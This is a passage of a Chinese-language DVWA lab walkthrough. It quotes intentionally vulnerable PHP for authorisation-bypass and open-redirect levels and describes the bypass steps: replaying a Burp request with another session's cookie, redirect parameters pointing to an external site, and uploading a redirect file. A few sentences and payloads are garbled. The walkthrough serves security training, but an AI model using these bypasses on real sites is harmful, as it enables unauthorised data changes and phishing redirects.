if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>
检查当前用户是否不是管理员("admin")。如果不是管理员,执行以下操作:打印 "Unauthorised"(未授权)。
设置 HTTP 响应状态码为 403,表示禁止访问。
使用 exit
语句终止脚本执行。
所以我们无法使用low的通关方法
由源码可知,该目录填充了一些用户数据,这些数据源自:/vulnerabilities/authbypass/
/vulnerabilities/authbypass/get_user_data.php
我们检查一下是否可以访问数据文件而不是目录,这将是另一个 IDOR 漏洞:gordonb
high
分析源码
<?php
/*
Only the admin user is allowed to access this page.
Have a look at this file for possible vulnerabilities:
* vulnerabilities/authbypass/change_user_details.php
*/
if (dvwaCurrentUser() != "admin") {
print "Unauthorised";
http_response_code(403);
exit;
}
?>
这段 PHP 代码是一个简单的访问控制检查,旨在确保只有被识别为“admin”的用户能够访问当前页面。代码的逻辑很直接:如果当前用户不是“admin”,则输出“Unauthorised”并设置 HTTP 响应状态码为 403(禁止访问),然后终止脚本执行。
这就意味着HTML 页面和检索数据的 API 都已锁定,所以我们只能尝试更新数据
使用 Burp抓包
我们可以通过代理(通过刷新 DVWA 页面)接收来自会话的流量,选择响应它,复制并粘贴上述请求(但将 cookie 更改为 的会话值),修改数据并转发 POST 请求。在正常情况下,这应该行不通,但它确实:gordonb
gordonb
Open HTTP Redirect
"Open HTTP Redirect" 是一种常见的网络安全漏洞,其中攻击者能够利用应用程序中的漏洞,将用户重定向到恶意网站。这通常发生在使用 HTTP 重定向时,如果应用程序没有正确验证或清理输入数据,攻击者可以插入恶意 URL,导致用户被重定向到不受信任的网站。
这种漏洞可能对用户造成严重威胁,因为攻击者可以利用它来窃取敏感信息、安装恶意软件或进行其他恶意活动。因此,开发人员应该采取措施来防止这种漏洞的出现,包括对用户输入进行严格的验证和清理、使用安全的编程实践以及及时更新软件和修补程序。
low
<?php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
header ("location: " . $_GET['redirect']);
exit;
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>
首先,代码检查 URL 参数中是否存在名为 "redirect" 的键,并且该键的值不为空。这是通过 array_key_exists ("redirect", $_GET)
和 $_GET['redirect'] != ""
这两个条件来完成的。
如果以上条件满足,代码会通过 header ("location: " . $_GET['redirect']);
语句进行重定向,将用户浏览器重定向到 $_GET['redirect']
指定的 URL。
在进行重定向之前,代码使用 exit;
语句确保脚本在此处停止执行,防止后续的代码继续执行。
如果 URL 中不存在 "redirect" 参数或者该参数的值为空,代码会设置 HTTP 响应码为 500(内部服务器错误),并显示一条消息 "Missing redirect target."。
最后,代码再次使用 exit;
语句确保脚本在此处停止执行,防止显示其他可能的内容。
先点击Quote1
发现上面显示 id=1,修改id为2。
在source输入../index.php
也跳转了
构建info.php?redirect=https://www.baidu.com
它报错,但是构建low.php?redirect=https://www.baidu.com就能成功。
Medium
先看源码
<?php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
http_response_code (500);
?>
<p>Absolute URLs not allowed.</p>
<?php
exit;
} else {
header ("location: " . $_GET['redirect']);
exit;
}
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>
首先,代码检查 URL 参数中是否存在名为 "redirect" 的键,并且该键的值不为空。这是通过 array_key_exists ("redirect", $_GET)
和 $_GET['redirect'] != ""
这两个条件来完成的。
如果以上条件满足,代码进入下一个判断:检查 $_GET['redirect']
是否以 "http://" 或 "https://" 开头。这是通过 preg_match ("/http:\/\//i", $_GET['redirect'])
和 preg_match ("/https:\/\//i", $_GET['redirect'])
来完成的。
如果 $_GET['redirect']
以 "http://" 或 "https://" 开头(即它是一个绝对 URL),则设置 HTTP 响应码为 500,并显示一条消息 "Absolute URLs not allowed.",然后退出脚本。
如果 $_GET['redirect']
不以 "http://" 或 "https://" 开头(即它是一个相对 URL),则进行重定向,将用户浏览器重定向到 $_GET['redirect']
指定的 URL。
在进行重定向之前,代码使用 exit;
语句确保脚本在此处停止执行,防止后续的代码继续行。
如果 URL 中不存在 "redirect" 参数或者该参数的值为空,代码会设置 HTTP 响应码为 500(内部服务器错误),并显示一条消息 "Missing redirect target."。
最后,代码再次使用 exit;
语句确保脚本在此处停止执行,防止显示其他可能的内容。
这段代码的目的是防止对外部域名的绝对 URL 进行重定向,以防止潜在的安全风险。然而,它仍然存在一些问题:
如果用户提供的 "redirect" 参数包含恶意内容(例如恶意脚本或重定向到恶意网站),代码不会进行检测和清理。因此,仍然存在安全风险。为了解决这个问题,可以对 "redirect" 参数进行更严格的验证和清理,确保其只包含预期的、安全的 URL。
当发生重定向时,用户可能会被重定向到一个无效或错误的 URL,这可能导致用户体验问题。为了避免这种情况,可以添加一些错误处理和异常处理逻辑,以确保用户被重定向到一个有效的 URL。
medium级别,直接构建,它不能成功。我们要上传一个redirect.php的文件,利用文件上传漏洞,上传文件。
然后访问它
成功跳转
high
分析源码
<?php
if (array_key_exists ("redirect", $_GET) && $_GET['redirect'] != "") {
if (preg_match ("/http:\/\/|https:\/\//i", $_GET['redirect'])) {
http_response_code (500);
?>
<p>Absolute URLs not allowed.</p>
<?php
exit;
} else {
header ("location: " . $_GET['redirect']);
exit;
}
}
http_response_code (500);
?>
<p>Missing redirect target.</p>
<?php
exit;
?>
重定向目标检查:
首先,代码检查 URL 参数中是否存在名为 "redirect" 的键,并且该键的值不为空。
如果存在,代码会检查这个值是否以 "http://" 或 "https://" 开头。这是通过正则表达式匹配完成
重定向处理:
如果 "redirect" 参数的值是一个绝对 URL(即以 "http://" 或 "https://" 开头),服务器会返回 HTTP 500 错误,并显示消息 "Absolute URLs not allowed."。
如果 "redirect" 参数的值不是绝对 URL,服务器会进行重定向,将用户浏览器重定向到这个 URL。
其他情况:
如果 URL 中不存在 "redirect" 参数或者该参数的值为空,服务器会返回 HTTP 500 错误,并显示消息 "Missing redirect target."。
安全风险:
用户输入未验证:代码没有对 "redirect" 参数进行任何形式的输入验证或清理,这意味着任何用户输入都可能被接受并用于重定向。这可能导致安全风险,例如重定向到恶意网站或执行恶意脚本。
未使用安全的方法进行重定向:使用 header()
函数进行重定向是一种常见的方法,但确保之前没有任何输出到浏览器是至关重要的。此代码段中直接在 header()
调用之前使用 exit;
可以确保这一点,但最好使用 ob_start()
和 flush()
来确保输出缓冲区的内容被刷新到浏览器。
硬编码的错误消息:错误消息是硬编码的,这可能不够灵活。更好的做法是将错误消息存储在配置文件或数据库中,以便于管理和本地化。
直接构建会出现这种结果
如上面一样,构建high?redirect=https//www.baidu.com/?已定义参数=info.php
就能跳转